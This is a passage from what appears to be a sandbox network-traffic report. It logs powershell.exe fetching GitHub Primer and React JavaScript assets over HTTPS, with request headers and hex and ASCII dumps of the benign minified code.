2024-09-30 13:50:35 UTC	1378	IN	Data Raw: 72 66 6c 6f 77 3a 22 22 7d 3b 66 75 6e 63 74 69 6f 6e 20 65 6f 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 65 2e 69 64 3b 65 3d 65 2e 6f 76 65 72 66 6c 6f 77 3b 76 61 72 20 61 3d 33 32 2d 65 75 28 72 29 2d 31 3b 72 26 3d 7e 28 31 3c 3c 61 29 2c 6e 2b 3d 31 3b 76 61 72 20 6c 3d 33 32 2d 65 75 28 74 29 2b 61 3b 69 66 28 33 30 3c 6c 29 7b 76 61 72 20 6f 3d 61 2d 61 25 35 3b 72 65 74 75 72 6e 20 6c 3d 28 72 26 28 31 3c 3c 6f 29 2d 31 29 2e 74 6f 53 74 72 69 6e 67 28 33 32 29 2c 72 3e 3e 3d 6f 2c 61 2d 3d 6f 2c 7b 69 64 3a 31 3c 3c 33 32 2d 65 75 28 74 29 2b 61 7c 6e 3c 3c 61 7c 72 2c 6f 76 65 72 66 6c 6f 77 3a 6c 2b 65 7d 7d 72 65 74 75 72 6e 7b 69 64 3a 31 3c 3c 6c 7c 6e 3c 3c 61 7c 72 2c 6f 76 65 72 66 6c 6f 77 3a 65 7d 7d 76 61 72 20 65 75 3d 4d 61 74 68 2e Data Ascii: rflow:""};function eo(e,t,n){var r=e.id;e=e.overflow;var a=32-eu(r)-1;r&=~(1<<a),n+=1;var l=32-eu(t)+a;if(30<l){var o=a-a%5;return l=(r&(1<<o)-1).toString(32),r>>=o,a-=o,{id:1<<32-eu(t)+a\|n<<a\|r,overflow:l+e}}return{id:1<<l\|n<<a\|r,overflow:e}}var eu=Math.
2024-09-30 13:50:35 UTC	1378	IN	Data Raw: 7b 76 61 72 20 6e 3d 65 68 2e 6d 65 6d 6f 69 7a 65 64 53 74 61 74 65 3b 69 66 28 6e 75 6c 6c 21 3d 3d 6e 26 26 6e 75 6c 6c 21 3d 3d 74 29 7b 76 61 72 20 72 3d 6e 5b 31 5d 3b 65 3a 69 66 28 6e 75 6c 6c 3d 3d 3d 72 29 72 3d 21 31 3b 65 6c 73 65 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 72 2e 6c 65 6e 67 74 68 26 26 61 3c 74 2e 6c 65 6e 67 74 68 3b 61 2b 2b 29 69 66 28 21 65 63 28 74 5b 61 5d 2c 72 5b 61 5d 29 29 7b 72 3d 21 31 3b 62 72 65 61 6b 20 65 7d 72 3d 21 30 7d 69 66 28 72 29 72 65 74 75 72 6e 20 6e 5b 30 5d 7d 7d 72 65 74 75 72 6e 20 65 3d 65 28 29 2c 65 68 2e 6d 65 6d 6f 69 7a 65 64 53 74 61 74 65 3d 5b 65 2c 74 5d 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 65 54 28 65 2c 74 2c 6e 29 7b 69 66 28 32 35 3c 3d 65 62 29 74 68 72 6f 77 20 45 72 72 6f 72 28 Data Ascii: {var n=eh.memoizedState;if(null!==n&&null!==t){var r=n[1];e:if(null===r)r=!1;else{for(var a=0;a<r.length&&a<t.length;a++)if(!ec(t[a],r[a])){r=!1;break e}r=!0}if(r)return n[0]}}return e=e(),eh.memoizedState=[e,t],e}function eT(e,t,n){if(25<=eb)throw Error(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.7	49770	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:36 UTC	450	OUT	GET /assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_primer_react_lib-esm_Fea-39267a-9ffd541aafbc.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:36 UTC	696	IN	HTTP/1.1 200 OK Connection: close Content-Length: 781825 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Wed, 25 Sep 2024 07:22:44 GMT ETag: "0x8DCDD32D93C04FD" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 453107 Date: Mon, 30 Sep 2024 13:50:36 GMT X-Served-By: cache-iad-kiad7000100-IAD, cache-nyc-kteb1890099-NYC X-Cache: HIT, HIT X-Cache-Hits: 164, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 3358a5da2332fbce8ef16bf042534b82ea9900a9
2024-09-30 13:50:36 UTC	1378	IN	Data Raw: 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6d 69 6e 69 2d 74 68 72 6f 74 74 6c 65 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 70 72 69 6d 65 72 5f 72 65 61 63 74 5f 6c 69 62 2d 65 73 6d 5f 46 65 61 2d 33 39 32 36 37 61 22 5d 2c 7b 37 30 31 37 30 3a 28 72 2c 65 2c 61 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 72 2c 65 3d 30 2c 7b 73 74 61 72 74 3a 61 3d 21 30 2c 6d 69 64 64 6c 65 3a 6f 3d 21 30 2c 6f 6e 63 65 3a 74 3d 21 31 7d 3d 7b 7d 29 7b 6c 65 74 20 Data Ascii: (globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_primer_react_lib-esm_Fea-39267a"],{70170:(r,e,a)=>{"use strict";function o(r,e=0,{start:a=!0,middle:o=!0,once:t=!1}={}){let
2024-09-30 13:50:36 UTC	1378	IN	Data Raw: 61 74 75 72 65 46 6c 61 67 53 63 6f 70 65 28 72 29 7d 73 74 61 74 69 63 20 6d 65 72 67 65 28 72 2c 65 29 7b 6c 65 74 20 61 3d 6e 65 77 20 46 65 61 74 75 72 65 46 6c 61 67 53 63 6f 70 65 3b 66 6f 72 28 6c 65 74 5b 65 2c 6f 5d 6f 66 20 72 2e 66 6c 61 67 73 29 61 2e 66 6c 61 67 73 2e 73 65 74 28 65 2c 6f 29 3b 66 6f 72 28 6c 65 74 5b 72 2c 6f 5d 6f 66 20 65 2e 66 6c 61 67 73 29 61 2e 66 6c 61 67 73 2e 73 65 74 28 72 2c 6f 29 3b 72 65 74 75 72 6e 20 61 7d 63 6f 6e 73 74 72 75 63 74 6f 72 28 72 3d 7b 7d 29 7b 66 6f 72 28 6c 65 74 5b 65 2c 61 5d 6f 66 28 74 68 69 73 2e 66 6c 61 67 73 3d 6e 65 77 20 4d 61 70 2c 4f 62 6a 65 63 74 2e 65 6e 74 72 69 65 73 28 72 29 29 29 74 68 69 73 2e 66 6c 61 67 73 2e 73 65 74 28 65 2c 6e 75 6c 6c 21 3d 61 26 26 61 29 7d 65 6e 61 Data Ascii: atureFlagScope(r)}static merge(r,e){let a=new FeatureFlagScope;for(let[e,o]of r.flags)a.flags.set(e,o);for(let[r,o]of e.flags)a.flags.set(r,o);return a}constructor(r={}){for(let[e,a]of(this.flags=new Map,Object.entries(r)))this.flags.set(e,null!=a&&a)}ena
2024-09-30 13:50:36 UTC	1378	IN	Data Raw: 64 2d 6c 61 72 67 65 2c 36 30 30 20 33 32 70 78 20 2f 20 31 2e 35 20 22 2c 22 29 3b 7d 26 3a 77 68 65 72 65 28 5b 64 61 74 61 2d 76 61 72 69 61 6e 74 3d 27 6d 65 64 69 75 6d 27 5d 29 7b 66 6f 6e 74 3a 76 61 72 28 2d 2d 74 65 78 74 2d 74 69 74 6c 65 2d 73 68 6f 72 74 68 61 6e 64 2d 6d 65 64 69 75 6d 2c 36 30 30 20 32 30 70 78 20 2f 20 31 2e 36 20 22 2c 22 29 3b 7d 26 3a 77 68 65 72 65 28 5b 64 61 74 61 2d 76 61 72 69 61 6e 74 3d 27 73 6d 61 6c 6c 27 5d 29 7b 66 6f 6e 74 3a 76 61 72 28 2d 2d 74 65 78 74 2d 74 69 74 6c 65 2d 73 68 6f 72 74 68 61 6e 64 2d 73 6d 61 6c 6c 2c 36 30 30 20 31 36 70 78 20 2f 20 31 2e 35 20 22 2c 22 29 3b 7d 22 2c 22 3b 22 5d 2c 28 30 2c 6e 2e 4a 74 29 28 22 66 6f 6e 74 57 65 69 67 68 74 73 2e 62 6f 6c 64 22 29 2c 28 30 2c 6e 2e 4a Data Ascii: d-large,600 32px / 1.5 ",");}&:where([data-variant='medium']){font:var(--text-title-shorthand-medium,600 20px / 1.6 ",");}&:where([data-variant='small']){font:var(--text-title-shorthand-small,600 16px / 1.5 ",");}",";"],(0,n.Jt)("fontWeights.bold"),(0,n.J
2024-09-30 13:50:36 UTC	1378	IN	Data Raw: 62 73 6f 6c 75 74 65 22 2c 72 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 72 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 3b 6c 65 74 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 5b 64 61 74 61 2d 70 6f 72 74 61 6c 2d 72 6f 6f 74 5d 22 29 3b 65 3f 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 72 29 3a 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 72 29 7d 64 28 72 29 7d 7d 28 29 29 3b 6c 65 74 20 6f 3d 69 5b 72 5d 3b 69 66 28 21 6f 29 74 68 72 6f 77 20 45 72 72 6f 72 28 60 50 6f 72 74 61 6c 20 63 6f 6e 74 61 69 6e 65 72 20 27 24 7b 61 7d 27 20 69 73 20 6e 6f 74 20 79 65 74 20 72 65 67 69 73 74 65 72 65 64 2e 20 43 6f 6e 74 61 69 6e 65 72 20 6d 75 73 74 20 62 65 20 72 65 67 69 73 74 65 72 65 Data Ascii: bsolute",r.style.top="0",r.style.left="0";let e=document.querySelector("[data-portal-root]");e?e.appendChild(r):document.body.appendChild(r)}d(r)}}());let o=i[r];if(!o)throw Error(`Portal container '${a}' is not yet registered. Container must be registere
2024-09-30 13:50:36 UTC	1378	IN	Data Raw: 68 74 53 63 68 65 6d 65 29 26 26 76 6f 69 64 20 30 21 3d 3d 77 3f 77 3a 4d 29 26 26 76 6f 69 64 20 30 21 3d 3d 79 3f 79 3a 22 64 61 72 6b 22 29 2c 52 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 5b 72 2c 65 5d 3d 6f 2e 75 73 65 53 74 61 74 65 28 75 29 3b 72 65 74 75 72 6e 20 6f 2e 75 73 65 45 66 66 65 63 74 28 28 29 3d 3e 7b 76 61 72 20 72 2c 61 3b 6c 65 74 20 6f 3d 6e 75 6c 6c 3d 3d 3d 28 72 3d 77 69 6e 64 6f 77 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 72 3f 76 6f 69 64 20 30 3a 6e 75 6c 6c 3d 3d 3d 28 61 3d 72 2e 6d 61 74 63 68 4d 65 64 69 61 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 61 3f 76 6f 69 64 20 30 3a 61 2e 63 61 6c 6c 28 72 2c 22 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 20 64 61 72 6b 29 22 29 3b 66 75 6e 63 74 69 6f 6e 20 74 28 Data Ascii: htScheme)&&void 0!==w?w:M)&&void 0!==y?y:"dark"),R=function(){let[r,e]=o.useState(u);return o.useEffect(()=>{var r,a;let o=null===(r=window)\|\|void 0===r?void 0:null===(a=r.matchMedia)\|\|void 0===a?void 0:a.call(r,"(prefers-color-scheme: dark)");function t(
2024-09-30 13:50:36 UTC	1378	IN	Data Raw: 4d 6f 64 65 3a 56 2c 73 65 74 44 61 79 53 63 68 65 6d 65 3a 53 2c 73 65 74 4e 69 67 68 74 53 63 68 65 6d 65 3a 46 7d 7d 2c 6f 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 63 2e 4e 50 2c 7b 74 68 65 6d 65 3a 6a 7d 2c 72 2c 65 2e 70 72 65 76 65 6e 74 53 53 52 4d 69 73 6d 61 74 63 68 3f 6f 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 2c 7b 74 79 70 65 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 2c 69 64 3a 60 5f 5f 50 52 49 4d 45 52 5f 44 41 54 41 5f 24 7b 45 7d 5f 5f 60 2c 64 61 6e 67 65 72 6f 75 73 6c 79 53 65 74 49 6e 6e 65 72 48 54 4d 4c 3a 7b 5f 5f 68 74 6d 6c 3a 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 7b 72 65 73 6f 6c 76 65 64 53 65 72 76 65 72 43 6f 6c 6f 72 4d 6f 64 65 3a 50 7d 29 7d 7d 29 3a 6e 75 6c 6c 29 Data Ascii: Mode:V,setDayScheme:S,setNightScheme:F}},o.createElement(c.NP,{theme:j},r,e.preventSSRMismatch?o.createElement("script",{type:"application/json",id:`__PRIMER_DATA_${E}__`,dangerouslySetInnerHTML:{__html:JSON.stringify({resolvedServerColorMode:P})}}):null)
2024-09-30 13:50:36 UTC	1378	IN	Data Raw: 2c 6f 2e 75 73 65 45 66 66 65 63 74 29 28 28 29 3d 3e 28 29 3d 3e 7b 66 6f 72 28 6c 65 74 20 65 20 6f 66 20 72 2e 63 75 72 72 65 6e 74 29 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 65 29 7d 2c 5b 5d 29 2c 7b 73 61 66 65 53 65 74 54 69 6d 65 6f 75 74 3a 65 2c 73 61 66 65 43 6c 65 61 72 54 69 6d 65 6f 75 74 3a 61 7d 7d 7d 2c 34 34 39 39 39 3a 28 72 2c 65 2c 61 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 61 2e 64 28 65 2c 7b 41 3a 28 29 3d 3e 74 7d 29 3b 76 61 72 20 6f 3d 61 28 35 30 34 30 32 29 3b 61 28 31 34 37 34 34 29 3b 6c 65 74 20 74 3d 72 3d 3e 28 30 2c 6f 2e 41 79 29 28 72 2e 73 78 29 7d 2c 34 34 33 36 30 3a 28 72 2c 65 2c 61 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 61 2e 64 28 65 2c 7b 41 3a 28 29 3d 3e 6e 7d 29 3b 76 61 72 20 6f 3d 61 Data Ascii: ,o.useEffect)(()=>()=>{for(let e of r.current)clearTimeout(e)},[]),{safeSetTimeout:e,safeClearTimeout:a}}},44999:(r,e,a)=>{"use strict";a.d(e,{A:()=>t});var o=a(50402);a(14744);let t=r=>(0,o.Ay)(r.sx)},44360:(r,e,a)=>{"use strict";a.d(e,{A:()=>n});var o=a
2024-09-30 13:50:36 UTC	1378	IN	Data Raw: 61 72 79 3a 22 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 6d 61 72 6b 65 74 69 6e 67 2d 69 63 6f 6e 2d 70 72 69 6d 61 72 79 2c 20 23 32 31 38 62 66 66 29 22 2c 73 65 63 6f 6e 64 61 72 79 3a 22 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 6d 61 72 6b 65 74 69 6e 67 2d 69 63 6f 6e 2d 73 65 63 6f 6e 64 61 72 79 2c 20 23 35 34 61 65 66 66 29 22 7d 2c 64 69 66 66 42 6c 6f 62 3a 7b 61 64 64 69 74 69 6f 6e 3a 7b 6e 75 6d 54 65 78 74 3a 22 76 61 72 28 2d 2d 64 69 66 66 42 6c 6f 62 2d 61 64 64 69 74 69 6f 6e 2d 66 67 43 6f 6c 6f 72 2d 6e 75 6d 2c 20 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 64 69 66 66 2d 62 6c 6f 62 2d 61 64 64 69 74 69 6f 6e 2d 6e 75 6d 2d 74 65 78 74 2c 20 23 31 46 32 33 32 38 29 29 22 2c 66 67 3a 22 76 61 72 28 2d 2d 64 69 66 66 42 6c 6f 62 2d 61 64 64 69 74 69 6f Data Ascii: ary:"var(--color-marketing-icon-primary, #218bff)",secondary:"var(--color-marketing-icon-secondary, #54aeff)"},diffBlob:{addition:{numText:"var(--diffBlob-addition-fgColor-num, var(--color-diff-blob-addition-num-text, #1F2328))",fg:"var(--diffBlob-additio
2024-09-30 13:50:36 UTC	1378	IN	Data Raw: 69 6e 65 2d 68 69 67 68 6c 69 67 68 74 2d 6d 69 78 2d 62 6c 65 6e 64 2d 6d 6f 64 65 2c 20 6d 75 6c 74 69 70 6c 79 29 22 7d 2c 64 69 66 66 73 74 61 74 3a 7b 64 65 6c 65 74 69 6f 6e 42 6f 72 64 65 72 3a 22 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 64 69 66 66 73 74 61 74 2d 64 65 6c 65 74 69 6f 6e 2d 62 6f 72 64 65 72 2c 20 72 67 62 61 28 33 31 2c 33 35 2c 34 30 2c 30 2e 31 35 29 29 22 2c 61 64 64 69 74 69 6f 6e 42 6f 72 64 65 72 3a 22 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 64 69 66 66 73 74 61 74 2d 61 64 64 69 74 69 6f 6e 2d 62 6f 72 64 65 72 2c 20 72 67 62 61 28 33 31 2c 33 35 2c 34 30 2c 30 2e 31 35 29 29 22 2c 61 64 64 69 74 69 6f 6e 42 67 3a 22 76 61 72 28 75 6e 64 65 66 69 6e 65 64 2c 20 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 64 69 66 66 73 74 61 74 2d 61 64 64 Data Ascii: ine-highlight-mix-blend-mode, multiply)"},diffstat:{deletionBorder:"var(--color-diffstat-deletion-border, rgba(31,35,40,0.15))",additionBorder:"var(--color-diffstat-addition-border, rgba(31,35,40,0.15))",additionBg:"var(undefined, var(--color-diffstat-add
2024-09-30 13:50:36 UTC	1378	IN	Data Raw: 79 6e 74 61 78 2d 73 74 72 69 6e 67 2d 72 65 67 65 78 70 2c 20 23 31 31 36 33 32 39 29 22 2c 6d 61 72 6b 75 70 4c 69 73 74 3a 22 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 70 72 65 74 74 79 6c 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 6d 61 72 6b 75 70 2d 6c 69 73 74 2c 20 23 33 62 32 33 30 30 29 22 2c 6d 61 72 6b 75 70 48 65 61 64 69 6e 67 3a 22 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 70 72 65 74 74 79 6c 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 6d 61 72 6b 75 70 2d 68 65 61 64 69 6e 67 2c 20 23 30 35 35 30 61 65 29 22 2c 6d 61 72 6b 75 70 49 74 61 6c 69 63 3a 22 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 70 72 65 74 74 79 6c 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 6d 61 72 6b 75 70 2d 69 74 61 6c 69 63 2c 20 23 32 34 32 39 32 66 29 22 2c 6d 61 72 6b 75 70 42 6f 6c 64 3a 22 76 Data Ascii: yntax-string-regexp, #116329)",markupList:"var(--color-prettylights-syntax-markup-list, #3b2300)",markupHeading:"var(--color-prettylights-syntax-markup-heading, #0550ae)",markupItalic:"var(--color-prettylights-syntax-markup-italic, #24292f)",markupBold:"v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.7	49771	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:37 UTC	408	OUT	GET /assets/vendors-node_modules_primer_react_lib-esm_Button_Button_js-f36ad879d477.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:37 UTC	694	IN	HTTP/1.1 200 OK Connection: close Content-Length: 27515 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Tue, 24 Sep 2024 11:31:31 GMT ETag: "0x8DCDC8C70564F8C" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 520784 Date: Mon, 30 Sep 2024 13:50:37 GMT X-Served-By: cache-iad-kiad7000155-IAD, cache-nyc-kteb1890029-NYC X-Cache: HIT, HIT X-Cache-Hits: 99, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: e4b5da20f4b8facd31a10c0eb32acb0d661743f5
2024-09-30 13:50:37 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 70 72 69 6d 65 72 5f 72 65 61 63 74 5f 6c 69 62 2d 65 73 6d 5f 42 75 74 74 6f 6e 5f 42 75 74 74 6f 6e 5f 6a 73 22 5d 2c 7b 35 35 38 34 37 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 6e 2e 64 28 74 2c 7b 44 3a 28 29 3d 3e 64 2c 51 3a 28 29 3d 3e 69 7d 29 3b 76 61 72 20 6f 3d 6e 28 39 36 35 34 30 29 2c 61 3d 6e 28 37 32 32 38 35 29 2c 72 3d 6e 28 34 34 36 38 33 29 3b 66 75 6e 63 74 69 6f 6e 20 6c 28 29 7b 72 65 74 75 72 6e 28 6c 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 3f 4f 62 6a 65 Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_primer_react_lib-esm_Button_Button_js"],{55847:(e,t,n)=>{n.d(t,{D:()=>d,Q:()=>i});var o=n(96540),a=n(72285),r=n(44683);function l(){return(l=Object.assign?Obje
2024-09-30 13:50:37 UTC	1378	IN	Data Raw: 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 73 68 61 64 6f 77 73 2e 62 74 6e 2e 73 68 61 64 6f 77 7d 2c 20 24 7b 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 73 68 61 64 6f 77 73 2e 62 74 6e 2e 69 6e 73 65 74 53 68 61 64 6f 77 7d 60 2c 22 26 3a 68 6f 76 65 72 3a 6e 6f 74 28 5b 64 69 73 61 62 6c 65 64 5d 29 3a 6e 6f 74 28 5b 64 61 74 61 2d 69 6e 61 63 74 69 76 65 5d 29 22 3a 7b 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3a 22 62 74 6e 2e 68 6f 76 65 72 42 67 22 2c 62 6f 72 64 65 72 43 6f 6c 6f 72 3a 60 76 61 72 28 2d 2d 62 75 74 74 6f 6e 2d 64 65 66 61 75 6c 74 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 68 6f 76 65 72 2c 20 24 7b 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 63 6f 6c 6f 72 73 2e 62 74 6e 2e 68 6f 76 65 72 42 6f 72 64 65 72 7d Data Ascii: ull==t?void 0:t.shadows.btn.shadow}, ${null==t?void 0:t.shadows.btn.insetShadow}`,"&:hover:not([disabled]):not([data-inactive])":{backgroundColor:"btn.hoverBg",borderColor:`var(--button-default-borderColor-hover, ${null==t?void 0:t.colors.btn.hoverBorder}
2024-09-30 13:50:37 UTC	1378	IN	Data Raw: 72 3a 6e 6f 74 28 5b 64 69 73 61 62 6c 65 64 5d 29 3a 6e 6f 74 28 5b 64 61 74 61 2d 69 6e 61 63 74 69 76 65 5d 29 22 3a 7b 63 6f 6c 6f 72 3a 22 62 74 6e 2e 70 72 69 6d 61 72 79 2e 68 6f 76 65 72 54 65 78 74 22 2c 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3a 22 62 74 6e 2e 70 72 69 6d 61 72 79 2e 68 6f 76 65 72 42 67 22 7d 2c 22 26 3a 66 6f 63 75 73 3a 6e 6f 74 28 5b 64 69 73 61 62 6c 65 64 5d 29 22 3a 7b 62 6f 78 53 68 61 64 6f 77 3a 22 69 6e 73 65 74 20 30 20 30 20 30 20 33 70 78 22 7d 2c 22 26 3a 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 3a 6e 6f 74 28 5b 64 69 73 61 62 6c 65 64 5d 29 22 3a 7b 62 6f 78 53 68 61 64 6f 77 3a 22 69 6e 73 65 74 20 30 20 30 20 30 20 33 70 78 22 7d 2c 22 26 3a 61 63 74 69 76 65 3a 6e 6f 74 28 5b 64 69 73 61 62 6c 65 64 5d 29 Data Ascii: r:not([disabled]):not([data-inactive])":{color:"btn.primary.hoverText",backgroundColor:"btn.primary.hoverBg"},"&:focus:not([disabled])":{boxShadow:"inset 0 0 0 3px"},"&:focus-visible:not([disabled])":{boxShadow:"inset 0 0 0 3px"},"&:active:not([disabled])
2024-09-30 13:50:37 UTC	1378	IN	Data Raw: 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 73 68 61 64 6f 77 73 2e 62 74 6e 2e 64 61 6e 67 65 72 2e 73 65 6c 65 63 74 65 64 53 68 61 64 6f 77 7d 60 2c 62 6f 72 64 65 72 43 6f 6c 6f 72 3a 22 62 74 6e 2e 64 61 6e 67 65 72 2e 73 65 6c 65 63 74 65 64 42 6f 72 64 65 72 22 7d 2c 22 26 3a 64 69 73 61 62 6c 65 64 22 3a 7b 63 6f 6c 6f 72 3a 22 62 74 6e 2e 64 61 6e 67 65 72 2e 64 69 73 61 62 6c 65 64 54 65 78 74 22 2c 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3a 22 62 74 6e 2e 64 61 6e 67 65 72 2e 64 69 73 61 62 6c 65 64 42 67 22 2c 62 6f 72 64 65 72 43 6f 6c 6f 72 3a 60 76 61 72 28 2d 2d 62 75 74 74 6f 6e 2d 64 65 66 61 75 6c 74 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 64 69 73 61 62 6c 65 64 2c 20 24 7b 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 63 6f 6c 6f Data Ascii: ==t?void 0:t.shadows.btn.danger.selectedShadow}`,borderColor:"btn.danger.selectedBorder"},"&:disabled":{color:"btn.danger.disabledText",backgroundColor:"btn.danger.disabledBg",borderColor:`var(--button-default-borderColor-disabled, ${null==t?void 0:t.colo
2024-09-30 13:50:37 UTC	1378	IN	Data Raw: 61 6c 73 5d 27 3a 7b 63 6f 6c 6f 72 3a 60 76 61 72 28 2d 2d 62 75 74 74 6f 6e 2d 69 6e 76 69 73 69 62 6c 65 2d 69 63 6f 6e 43 6f 6c 6f 72 2d 72 65 73 74 2c 20 24 7b 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 63 6f 6c 6f 72 73 2e 66 67 2e 6d 75 74 65 64 7d 29 60 7d 2c 27 5b 64 61 74 61 2d 63 6f 6d 70 6f 6e 65 6e 74 3d 22 74 72 61 69 6c 69 6e 67 41 63 74 69 6f 6e 22 5d 27 3a 7b 63 6f 6c 6f 72 3a 60 76 61 72 28 2d 2d 62 75 74 74 6f 6e 2d 69 6e 76 69 73 69 62 6c 65 2d 69 63 6f 6e 43 6f 6c 6f 72 2d 72 65 73 74 2c 20 24 7b 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 63 6f 6c 6f 72 73 2e 66 67 2e 6d 75 74 65 64 7d 29 60 7d 2c 27 5b 64 61 74 61 2d 63 6f 6d 70 6f 6e 65 6e 74 3d 22 6c 65 61 64 69 6e 67 56 69 73 75 61 6c 22 5d 27 3a 7b 63 6f 6c 6f 72 Data Ascii: als]':{color:`var(--button-invisible-iconColor-rest, ${null==t?void 0:t.colors.fg.muted})`},'[data-component="trailingAction"]':{color:`var(--button-invisible-iconColor-rest, ${null==t?void 0:t.colors.fg.muted})`},'[data-component="leadingVisual"]':{color
